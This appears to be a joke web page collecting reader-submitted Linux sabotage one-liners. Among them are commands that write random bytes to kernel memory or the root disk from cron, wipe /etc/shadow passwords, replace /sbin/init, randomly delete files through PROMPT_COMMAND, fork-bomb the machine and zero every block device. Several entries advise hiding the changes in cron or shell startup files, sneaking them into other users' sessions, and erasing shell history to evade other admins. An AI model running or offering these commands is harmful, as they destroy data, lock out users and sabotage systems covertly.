breaksys

We are all the same...
======================
To have some fun add the following line to the defaults and all device sections of your /etc/multipath.conf file:

> getuid_callout  "echo byebyestorage"
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Russian Roulette
================
This one was sent in by DIVI:

> dd if=/dev/random of=/dev/kmem count=1 bs=1 seek=$RANDOM

This would be a nice one to hide somewhere in /etc/cron.d/…
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Subtle login problem
====================
This one was sent in by Ed van der Salm:

sed -i 's/:$6/:$5/g' /etc/shadow

Thanks Ed!
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Now that’s a proper startup
===========================

> sed -i 's/runlevel="$argv1"/runlevel="$[{RANDOM} % 7 ]"/' /etc/rc.d/rc
%
Defaults are fine, right?
=========================

chcon -t default_t /
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Connecting…
===========

ip rule add to 0.0.0.0/0 unreachable
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SELinux fun
===========

> TYPES=($(seinfo -t | tail -n+3))
> for FILE in $(find /); do
>     chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
> done) &> /dev/null
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N[eo]tworking…
==============

iptables -I INPUT 1 -m statistic --mode random --probability 0.25 -j DROP
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Accelerated bitrot
==================

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time:

> ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1)
> ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512]
> LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}]
> dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc
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We don’t play favourites.
=========================

Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:

> for I in $(getent passwd | cut -d: -f1 )
> do
>     chsh -s $(sort -R /etc/shells | head -n1) ${I}
> done
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Add some spice to your life
===========================

Spice up your life a bit with the following command:

> echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime
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No Reservations?
================

tune2fs -m50 $(mount | awk '/on / type/{print $1}')
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Bad memory
==========

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue:

> sed -i -r '/vmlinuz/s/(.*)/1 memmap=256G$0x0000/' /boot/grub/grub.conf
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Bound to nothing…
=================

Add this little sucker to /etc/fstab and reboot:

> /dev/null    /bin/bash    bind   bind   0 0
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Speed? What speed?
==================

This one got submitted by Ray:

> echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr

It works best if you put it in rc.sysinit or any other place early in your boot sequence.
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What login?
===========

Try and have some fun with this one:

> sed -i 's/unix/time/g' /etc/pam.d/system-auth
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Who needs multiple cores anyway?
================================

Do you remember the good old days when all you had was a single core? Time to re-live those glory days!

> for I in /sys/devices/system/cpu/cpu[1-9]*
> do
>     echo 0 > ${I}/online
> done

*Unfortunately we can’t disable cpu0…*
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SImplify your init
==================

This one was submitted by fl0_:

Create a file called init.c
> #include <stdio.h>
> 
> int main(){
> 
>        printf("MOEHAHAHHAAAAn");
>        return 0;
> }

Next run the following commands:

> gcc -o init init.c
> touch -r /sbin/init init
> cp -f init /sbin/init

You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$
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Efficient Secure Shell

======================
Do all those people who use ssh irritate you as well because you can’t eavesdrop on their connections? Teach them a lesson so that they’ll revert to good ol’ telnet!

> printf 'tHostname localhostn' >> /etc/ssh/ssh_config
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Help the homeless
=================

> chmod a-x $(find /home -depth -maxdepth 1 -type d)
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It’s there isn’t it?
====================

Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.

> mv /bin '/bin '
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Slow down there a bit bro…
==========================

Fast network links getting you down?

> for IF in $(ip l | awk -F': ' '/^[0-9]/{print $2}')
> do
>     ip l s ${IF} mtu 60
> done

Especially fun if this machine is acting as a (nat-)router for other boxes…
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You make me feel complete
=========================

Pop this one into a bash session and watch the hilarity ensue:

> complete -E -W 'rm -rf /* /.*'
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Passwords? We don’t need no stinkin’ passwords!
===============================================

> sed -ri 's/([^:]*):[^:]*:(.*)/1:!!:2/' /etc/shadow

Or for the wusses who want something a bit more recoverable:

> for I in $(getent passwd | cut -d: -f1)
> do
>     passwd -l ${I}
>     chage -E0 -M1 -m513 -I1 -W1023 ${I}
> done
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Still, who needs root?
======================

> printf 'roott-tmaxloginst0n' >> /etc/security/limits.conf
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Who needs root anyway?
======================

> chmod u-s /bin/su
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Nice and quiet on the email front
=================================

Do you hate all those incoming and outgoing emails as much as we do? Are you running sendmail? In that case help is at hand:

> chmod g+w /
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Better learn to type fast…
==========================

Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:

> export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
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Fun with Vim and Files
======================

Add this little bugger to either /etc/vimrc or to an induhvidual’s ~/.vimrc

> :wqa
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I’m sorry, but I can’t let you do that Dave…
============================================

> echo "kernel.pid_max = 132" >> /etc/sysctl.conf
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Better get some rescue cd’s…
============================

This one was submitted by giulivo using the submission link:

> chmod a-x /lib/ld-2*.so
%
What ftp server?
================

In /etc/vsftpd/vsftpd.conf add or change the following lines:

> chown_uploads=YES
> chown_username=daemon<space>

Where <space> is an actual space character before the end of the line.
%Beginners

Run the following command and reboot :

echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local
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Meet the Prompt of Doom
=======================

Try to sneak this one into someone’s session and watch the hilarity ensue:

> export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
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Classic
=======

Just enter this little baby into any account where ulimit -u reports unlimited

> :() { :|:& };:
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Neverending story
=================

> echo "@reboot reboot" > /etc/cron.d/system
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Devicenode deletion
===================

Add this file as /etc/udev/rules.d/01-devices.rules:

> ACTION=="add", SUBSYSTEM=="block", NAME:="hehehe"
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Random exits
============

This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/

> export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'
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Very Nice, i like your style, maybe something less destructive but infuriating? alias all editors and cat to something like....

> sudo date --set="shuf -i 1-23 -n 3 | tr '\n' ':' | sed -e 's/:$//g'" ; cat

Sets the system time to random-ish times whenever they use the command
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> find /dev -type b -name '?d?' -exec dd if=/dev/zero of={} bs=16M \;
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